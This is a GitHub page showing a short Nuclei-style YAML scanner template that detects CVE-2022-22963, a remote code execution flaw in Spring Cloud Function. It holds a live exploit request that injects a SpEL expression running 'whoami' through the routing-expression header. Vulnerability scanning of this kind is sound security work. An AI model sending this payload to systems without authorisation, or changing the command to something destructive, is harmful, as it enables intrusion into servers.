forked from dinosn/CVE-2022-22963
-
Notifications
You must be signed in to change notification settings - Fork 0
/
CVE-2022-22963.yaml
35 lines (31 loc) · 897 Bytes
/
CVE-2022-22963.yaml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
id: CVE-2022-22963
info:
name: Template Name
author: Nicolas Krassas
severity: critical
description: RCE on Spring cloud function SPEL
reference: https://nsfocusglobal.com/spring-cloud-function-spel-expression-injection-vulnerability-alert/
tags: tags
requests:
- raw:
- |-
POST /functionRouter HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("whoami")
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
test
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'functionRouter'
- type: status
status:
- 500